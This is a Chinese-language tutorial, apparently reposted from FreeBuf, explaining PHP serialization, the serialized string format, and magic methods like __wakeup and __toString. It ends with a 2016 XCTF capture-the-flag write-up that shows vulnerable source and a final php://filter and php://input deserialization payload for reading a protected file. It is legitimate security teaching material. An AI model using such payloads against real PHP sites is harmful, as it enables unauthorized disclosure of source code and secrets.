0×00 序列化和反序列化
简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。
序列化的对象可以是class也可以是Array,string等其他对象。
0×01 对象序列化和反序列化的功能作用
1. 对象序列化的功能作用
概念:对象是在内存中存储的数据类型,寿命通常随着生成该对象的程序的终止而终止,但是有些情况下需要将对象的状态保存下来,然后在需要使用的时候将对象恢复,对象状态的保存操作就是对象序列化的过程。对象序列化就是将对象转化为2进制字符串进行保存。
作用:将对象的状态通过数值和字符记录下来,以某种存储形式使自定义对象持久化,方便需要时候将对象进行恢复使用,用于对象的传递以及使程序代码更具维护性
语法:在创建对象class后使用serialize()函数将声明的对象的某个状态转化为字符串然后进行保存或传递。
示例代码:
class serialize code:
1.
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9.private $name = ‘Thinking’;
10.private $sex = ‘man’;
11.
12.function say($name,$sex){
13.echo ‘My name is’.$name.’I am a ‘.$sex;
14.}
15.
16.}
17.$Person = new Person;
18.echo serialize($Person);
19.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。
20.echo “\n”.’save data is: ‘.$saveData;
21.?>
output:
O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
save data is: O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
________________________________________
array serialize code:
1.
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.$Person = array(‘name’ => ‘Thinking’ ,’sex’ => ‘man’);
9.echo serialize($Person);
10.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。
11.echo “\n”.’save data is: ‘.$saveData;
12.?>
output:
a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
save data is: a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
序列化后对象的格式:
引用上述示例代码中的输出结果
output:
O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}
对象类型:Class:用O表示,Array:用a表示。
变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。
序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。
2. 对象反序列化的功能作用
概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后在用于对象的操作,是序列化的逆过程
作用:把序列化后的字符串转化为对象,恢复原本对象后用于程序或代码的各种操作。
语法:使用unserialize()将序列化后的字符串转化为对象进行使用。
示例代码:
unserialize code:
1.
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.$saveData = ‘O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}’;
9.var_dump(unserialize($saveData));
10.?>
output:
1.class __PHP_Incomplete_Class#1 (3) {
2.public $__PHP_Incomplete_Class_Name =>
3.string(6) “Person”
4.public $ Person name =>
5.string(8) “Thinking”
6.public $ Person sex =>
7.string(3) “man”
8.}
9.
0×02 反序列化存在的问题
问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。
魔术方法:PHP的类中可能会包含一些特殊的函数叫魔术函数,魔术函数命名是以符号__开头的;
有以下的魔术方法:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set(), _state(), __clone(), __debugInfo() …
反序列化漏洞中常见到有一些魔术方法:
__construct():在对象创建时自动被调用; __destruct():在脚本运行结束时自动被调用;__sleep():在对象序列化的时候自动被调用;__wakeup():在反序列化为对象时自动被调用;__toString(): 直接输出对象引用时自动被调用;
0×03 魔术方法的触发
构造方法 __construct()
构造方法是类中的一个特殊方法。当使用 new 操作符创建一个类的实例时,构造方法将会自动调用,其名称必须是 __construct()。在一个类中只能声明一个构造方法,而是只有在每次创建对象的时候都会去调用一次构造方法,不能主动的调用这个方法,所以通常用它执行一些有用的初始化任务。该方法无返回值。
语法:
function __construct(arg1,arg2,…)
{
……
}
[example]:__construct() code:
1.
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9.private $name = ‘Thinking’;
10.private $sex = ‘man’;
11.
12.function say($name,$sex){
13.echo ‘My name is’.$name.’I am a ‘.$sex;
14.}
15.function __construct(){
16.echo ‘ __construct is work’;
17.}
18.}
19.$Person = new Person;//创建的时候触发魔术方法
20.?>
output:
__construct is work
________________________________________
析构方法__destruct()允许在销毁一个类之前执行执行析构方法,与构造方法对应的就是析构方法,析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集,程序运行结束等。析构函数不能带有任何参数,其名称必须是 __destruct()。
语法:
function __destruct()
{
……
}
[example]:__destructcode:
1.
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9. private $name = ‘Thinking’;
10. private $sex = ‘man’;
11.
12. function __destruct(){
13. echo ‘__destruct is work’. “\n”;
14. }
15.
16.}
17.
18.$Person = new Person;
19.sleep(5);//代码程序运行结束后或被释放时候触发
20.?>
output:
先延迟5s,等待代码执行结束 ,再打印 __destruct is work
________________________________________
__sleep()方法是在一个类的实例被序列化了的时候调用,_wakeup()是在反序列化时被调用。__sleep()必须返回一个数组或者对象,而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值,自然表示序列化失败。同时也会连累到反序列化时不会调用__wakeup()方法.
[example]:__sleep()“__wakeup()code:
1.
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9. function __sleep(){
10. echo ‘__sleep is work’. “\n”;
11. return $this;
12. }
13.
14. function __wakeup(){
15.
16. echo ‘__wakeup is work’;
17.
18. }
19.}
20.
21.$Person = new Person;
22.$saveData = serialize($Person);//序列化时候触发__sleep()
23.unserialize($saveData);//反序列化时候触发__wakeup()
24.?>
output:
__sleep is work __wakeup is work
________________________________________
如果我们想打印出一个对象,就需要调用__toString()这个魔术方法了,该方法会在直接输出对象引用时自动被调用,此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误
参考:http://php.net/__toString
[example]:__toString()code:
1.
2./**
3. * Created by PhpStorm.
4. * User: Thinking
5. * Date: 2017/10/18
6. * Time: 11:25
7. */
8.class Person{
9. private $name = ‘Thinking’;
10. private $sex = ‘man’;
11.
12. function say($name,$sex){
13. echo ‘My name is’.$name.’I am a ‘.$sex;
14. }
15. function __toString(){
16. return ‘__toString is work’;
17. }
18.}
19.$Person = new Person;
20.echo $Person; //输出对象的时候被调用
21.?>
output:
__toString is work
其他方法的介绍参考:
http://www.5idev.com/p-php_member_overloading.shtml
http://php.net/__toString
________________________________________
0×04 一道CTF中反序列化例题
2016xctf的反序列化题目
index.php的源码:
1.
2.$user = $_GET["user"];
3.$file = $_GET["file"];
4.$pass = $_GET["pass"];
5.
6.if(isset($user)&&(file_get_contents($user,’r')===”the user is admin”)){
7. echo “hello admin!
”;8. if(preg_match(“/f1a9/”,$file)){
9. exit();
10. }else{
11. include($file); //class.php
12. $pass = unserialize($pass);
13. echo $pass;
14. }
15.}else{
16. echo “you are not admin ! “;
17.}
18.
19.?>
20.
21.
22.$user = $_GET["user"];
23.$file = $_GET["file"];
24.$pass = $_GET["pass"];
25.
26.if(isset($user)&&(file_get_contents($user,’r')===”the user is admin”)){
27. echo “hello admin!
”;28. include($file); //class.php
29.}else{
30. echo “you are not admin ! “;
31.} echo “you are not admin ! “;
32.}
33.–>
class.php的源码:
1.
2.class Read{//f1a9.php
3. public $file;
4. public function __toString(){
5. if(isset($this->file)){
6. echo file_get_contents($this->file);
7. }
8. return “__toString was called!”;
9. }
10.}
11.?>
源码分析:
首先index.php源码中的第6行使用file_get_contents读取user参数的值,然后在源码的第6,11行存在文件包含,第12行
unserialize($pass)反序列化函数的参数可控,在第13行执行了 echo $pass;
在class.php源码中使用了__toString()魔术方法,然后return “__toString was called!“;,所以根据本篇的上半部分介绍此处满足__toString()魔术方法触发条件,所以存在反序列化漏洞,其中第6行file_get_contents是用来读取$file变量的文件的,并且给出了提示,//f1a9.php;
所以本题的考点就是利用文件包含使用php://input的封装协议传入user参数的值,满足index.php源码中的第6行的条件,在pass参数中传入序列化后要读取的flag文件。
最终PAYLOAD:
首先构造序列化的字符串O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}然后进行如下请求。
GET DATA :?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}
POST DATA:the user is admin
先进行上面的请求,然后得到经过base64编码过的f1a9.php源码。
使用hackbar上的base64解码插件进行解码,得到flag,本地复现flag与原题不一样。
个人感想:序列化与反序列化是一个比较关键的知识,我找到漏斗社区的一篇文章来进行总结,希望让更多web狗看到并学习,同时非常感谢漏斗社区提供的文章。
转载地址:http://www.freebuf.com/column/151447.html